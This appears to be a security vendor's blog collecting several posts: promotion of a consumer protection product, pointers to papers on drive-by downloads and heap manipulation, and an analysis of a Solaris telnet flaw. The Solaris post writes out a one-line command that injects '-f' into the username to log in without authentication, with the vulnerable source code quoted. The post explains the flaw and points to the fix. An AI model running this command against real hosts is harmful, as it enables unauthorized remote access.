Determina Personal Edition and SPF

As some people know, we've been in the process of making our 'lights-out' security solution available for the consumer market over the last couple of months. While we're not ready to release it to the general public, we have been posting new betas at www.determina.com/consumer recently, and the latest rev is significant.

For one thing, we have changed the GUI so that it is catchy and 'consumer-friendly'. Our enterpriese products have a great interface, but they are oriented toward somebody who is a security administrator at a Fortune 1000 company. It's assumed that they know alot about security events, are managing 1000's of machines, etc. You can't and don't want to do that in the consumer marketplace. Hence we've introduced a new GUI that allows a minimum amount of control, and only the essential features.

Second, and the reason for this post is something called SPF or System Protection Factor. One of the biggest problems that normal folks (me included) have is keeping up with patches from multiple ISV's. Microsoft does an okay job with auto-update, but even there if your PC is a year or so old, you may not be getting all of the latest patches and you won't know it. Worse yet, there are a bunch of other ISV's who put out patches, and you may not have them installed either. Lastly, there are always the 0-days to worry about that don't have patches.

SPF computes a single number to indicate how vulnerable you are. First, it tries to figure out which known vulnerabilities are still active on your machine. Second, it shows how much Determina's VPS protection would help if it is installed and activated.

When put together SPF and VPS protection give you extra knowledge and provide you with great protection against vulnerabilites in the software on your desktop that hackers might exploit without your knowledge.

Driveby downloads

The folks over at Google have posted a paper where they have searched their web cache for drive-by attacks that take advantage of vulnerabilities that transparently allow malware to be downloaded. It's significantly more data walked than others papers that I've seen. The paper also characterizes the mechanisms that hackers use to infect third-party sites dynamically.

Of course, with VPS installed you shouldn't be vulnerable to most of these kinds of attacks :)

Google Talk

Alex was over at Google yesterday to give a talk about exploiting vulnerabilities and some of the techniques that hackers use. It gives a number of examples of current techniques which show why products like Determina VPS are important for mitigating risk against vulnerabilities.

Here's a pointer to the video .

Heap Feng Shui

With all of the hubbub over the ANI vulnerability over the last week, we neglected to mention a recent paper and preso that Alex gave at BlackHat Europe last week. There are three parts to any memory-based exploit:

1. the software vulnerability that allows memory to be overwritten
2. setting up the processes memory to contain information that you want it to contain.
3. the structure of the actual shellcode.

For recent browser-based vulnerabilities, it has been known how to use heap-spraying to put the shellcode into the process for awhile. However, it has become more difficult to actually overwrite a location that causes one to branch into that shellcode. Alex's paper describes how to use Javascript to force the heap into a particular configuration that the hacker desires to take advantage of a vulnerability. To get there, you have to take a reverse engineering trip through several layers of abstraction in the software. Very elegant!

Enjoy the read pointer.

Exploiting Vista with ANI

This is a short flash video of exploiting the ANI vulnerability on Windows Vista. The exploit works against both Internet Explorer 7 and Mozilla Firefox 2.0.

Click on the image to play:

1994 called, it wants its bug back!

Sometimes I wonder why we bother with all these impossibly hard to exploit heap corruption vulnerabilities when there are still remote code execution bugs that can be exploited with nothing more than a simple command.

This weekend there was a post on the Full-Disclosure mailing list describing a mindblowingly simple remote root vulnerability in Solaris:

telnet -l -fusername hostname

The telnet command above will log you in on any Solaris box with any username, without authentication. All you have to do is put '-f' before the username. On some system the root login is disabled, but you can log in as user bin and easily escalate your privileges to root.

Amusingly, it turns out that this is a ancient bug, first reported in 1994 on AIX. You can read its entry in OSVDB, including a link to the original discussion on Bugtraq.

The cause of the vulnerability is the -f option of /usr/sbin/login. This option tells login that the user is pre-authenticated and should be allowed to log in with the username specified after the option. As a security mechanism, login allows the use of the -f option only when it is invoked with root permissions. The relevant Solaris code in login.c is given below:

1399    case 'f':
1400            /*
1401             * Must be root to bypass authentication
1402             * otherwise we exit() as punishment for trying.
1403             */
1404            if (getuid() != 0 || geteuid() != 0) {
1405                    audit_error = ADT_FAIL_VALUE_AUTH_BYPASS;
1406
1407                    login_exit(1); /* sigh */
1408                    /*NOTREACHED*/
1409            }
1410            /* save fflag user name for future use */
1411            SCPYL(user_name, optarg);
1412            fflag = B_TRUE;
1413            break;

If the fflag variable is set by the code above, the authentication step is skipped:

528    /* we are already authenticated. fill in what we must, then continue */
529    if (fflag) {
530
531            if ((pwd = getpwnam(user_name)) == NULL) {
532                    audit_error = ADT_FAIL_VALUE_USERNAME;
533
534                    log_bad_attempts();
535                    (void) printf("Login failed: unknown user '%s'.\n",
536                        user_name);
537                    login_exit(1);
538            }
539
540    } else {
541            /*
542             * Perform the primary login authentication activity.
543             */
544            login_authenticate();
545    }

As long as untrusted users are not allowed to specify the -f option to login,
this code will be safe. Unfortunately, the in.telnetd daemon does not sanitize
the username before it passes it to /usr/sbin/login. Look at the code in
in.telnetd.c:

3199    } else /* default, no auth. info available, login does it all */ {
3200            (void) execl(LOGIN_PROGRAM, "login",
3201                        "-p", "-h", host, "-d", slavename,
3202                        getenv("USER"), 0);
3203    }

If the username passed by the telnet client starts with '-f', login will interpret it as a command line option and the user will be logged it without any authentication.

If you still have telnetd enabled on your servers, now is a good time to turn it off.

UPDATE: The fix for this bug is available in the OpenSolaris CVS

Fuzzing shouldn't work!

After the Month of Browser Bugs ended in August 2006, I imagined that browser fuzzing will be over soon. The widespread awareness of this technique and the release of multiple HTML and ActiveX fuzzers were going to help eradicate all easily-found bugs. Vendors were going to incorporate fuzzing in their QA process, and I expected that running a fuzzer in 2007 would be pointless.

It turns out that I was wrong. After the release of Vista, I ran a very simple ActiveX fuzzer against it and only a few minutes later I hit a NULL pointer dereference bug in Internet Explorer. You can read the full advisory at our security research site.

The ActiveX fuzzer I used was extremely simple - it instantiated each available ActiveX control and accessed all its properties. It didn't even have to send any malformed data or long strings, just accessing the ActiveX object was enough to crash the browser. Something this simple isn't supposed to work!

I agree with Microsoft's assessment of the bug as something that's probably not worth fixing in a security update, but the fact stands: this is a bug that should have been found and fixed very early in the development cycle. Maybe next time they'll do better.